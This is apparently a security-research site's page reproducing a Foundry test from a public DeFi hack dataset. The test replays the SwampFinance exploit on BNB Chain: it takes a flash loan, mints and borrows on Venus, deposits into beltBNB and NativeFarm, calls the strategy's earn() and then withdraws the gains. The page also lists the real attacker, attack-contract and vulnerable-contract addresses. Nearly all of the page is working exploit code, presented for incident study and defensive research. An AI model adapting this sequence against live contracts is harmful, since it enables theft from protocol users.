Public reproduction file
src/test/2023-11/SwampFinance_exp.sol
Public reproduction file for dataset entry SwampFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "./../basetest.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : Unclear8// Attacker : https://bscscan.com/address/0xfe2105e1317dfd6ed3887bf7882977c03cfebb7c9// Attack Contract : https://bscscan.com/address/0x22ad9eef79615a1592e969bdf7b238a07281ab8010// Vulnerable Contract : https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee311// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x13e75878a21af9a9b2207f5d9e18f19a43083a9ffbac36df5a7d4d67a52c164f13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3#code#L160916// @Analysis17// Post-mortem :18// Twitter Guy : https://x.com/MetaSec_xyz/status/172037304451720826119// Hacking God :21interface IbeltBNB {22 function approve(address spender, uint256 amount) external returns (bool);24 function balanceOf(25 address owner26 ) external view returns (uint256);28 function transferFrom(address from, address to, uint256 value) external returns (bool);30 function deposit(uint256 _amount, uint256 _minShares) external;32 function withdraw(uint256 _shares, uint256 _minAmount) external;33}35interface INativeFarm {36 function deposit(uint256 _pid, uint256 _wantAmt) external;38 function withdraw(uint256 _pid, uint256 _wantAmt) external;39}41interface IStrategyBeltToken {42 function earn() external;43}45contract SwampFinanceExploit is Test {46 IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));47 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);48 IbeltBNB private constant beltBNB = IbeltBNB(0xa8Bb71facdd46445644C277F9499Dd22f6F0A30C);49 DVM private constant DPPOracle = DVM(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);50 ICointroller private constant VenusDistribution = ICointroller(0xfD36E2c2a6789Db23113685031d7F16329158384);51 ICErc20Delegate private constant vUSDT = ICErc20Delegate(payable(0xfD5840Cd36d94D7229439859C0112a4185BC0255));52 crETH private constant vBNB = crETH(payable(0xA07c5b74C9B40447a954e1466938b865b6BBea36));53 INativeFarm private constant NativeFarm = INativeFarm(0x33AdBf5f1ec364a4ea3a5CA8f310B597B8aFDee3);54 IStrategyBeltToken private constant StrategyBeltToken =55 IStrategyBeltToken(0xdA937DDD1F2bd57F507f5764a4F9550c750F7B31);57 uint256 private constant blocknumToForkFrom = 33_112_358;59 function setUp() public {60 vm.createSelectFork("bsc", blocknumToForkFrom);61 vm.label(address(WBNB), "WBNB");62 vm.label(address(BUSDT), "BUSDT");63 vm.label(address(beltBNB), "beltBNB");64 vm.label(address(DPPOracle), "DPPOracle");65 vm.label(address(VenusDistribution), "VenusDistribution");66 vm.label(address(vUSDT), "vUSDT");67 vm.label(address(vBNB), "vBNB");68 vm.label(address(NativeFarm), "NativeFarm");69 vm.label(address(StrategyBeltToken), "StrategyBeltToken");70 }72 function testExploit() public {73 deal(address(this), 0);74 // In the begining transfer tokens from exploiter to attack contract75 deal(address(WBNB), address(this), 1e15);76 deal(address(BUSDT), address(this), 155_049_710_721_328_089);77 deal(address(beltBNB), address(this), 1_272_113_372_028_660);79 emit log_named_decimal_uint(80 "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()81 );83 DPPOracle.flashLoan(3100e18, 150_000e18, address(this), bytes("_"));85 emit log_named_decimal_uint(86 "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()87 );88 }90 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {91 approveAll();92 address[] memory vTokens = new address[](2);93 vTokens[0] = address(vUSDT);94 vTokens[1] = address(vBNB);95 VenusDistribution.enterMarkets(vTokens);97 uint256 cachedBUSDTbalance = BUSDT.balanceOf(address(this));98 vUSDT.mint(cachedBUSDTbalance);99 vBNB.borrow(500 ether);100 WBNB.deposit{value: address(this).balance}();101 beltBNB.deposit(WBNB.balanceOf(address(this)), 1);102 NativeFarm.deposit(135, beltBNB.balanceOf(address(this)));103 StrategyBeltToken.earn();104 NativeFarm.withdraw(135, type(uint256).max);105 beltBNB.withdraw(beltBNB.balanceOf(address(this)), 1);106 WBNB.withdraw(500 ether);107 vBNB.repayBorrow{value: 500 ether}();108 vUSDT.redeemUnderlying(cachedBUSDTbalance);110 WBNB.transfer(address(DPPOracle), baseAmount);111 BUSDT.transfer(address(DPPOracle), quoteAmount);112 }114 receive() external payable {}116 function approveAll() private {117 BUSDT.approve(address(vUSDT), type(uint256).max);118 WBNB.approve(address(beltBNB), type(uint256).max);119 beltBNB.approve(address(NativeFarm), type(uint256).max);120 beltBNB.approve(address(beltBNB), type(uint256).max);121 }122}Analysis
Dataset entry
Public Foundry test for “SwampFinance” (2023-11-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xfe2105e1317dfd6ed3887bf7882977c03cfebb7c
- Attack Contract
0x22ad9eef79615a1592e969bdf7b238a07281ab80
- Vulnerable Contract
0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3
- Attack Tx
0x13e75878a21af9a9b2207f5d9e18f19a43083a9ffbac36df5a7d4d67a52c164f
- Twitter: https://x.com/MetaSec_xyz/status/1720373044517208261
- Explorer: https://bscscan.com/address/0xfe2105e1317dfd6ed3887bf7882977c03cfebb7c
- Explorer: https://bscscan.com/address/0x22ad9eef79615a1592e969bdf7b238a07281ab80
- Explorer: https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3
- Explorer: https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3#code#L1609
File record
- Name
- SwampFinance
- Path
- src/test/2023-11/SwampFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4326cc8068697bd0b907911531382df5a7fdf566
- Language
- Solidity
- Size
- 123 lines
- Date
- 2023-11-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/SwampFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4326cc8068697bd0b907911531382df5a7fdf566, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.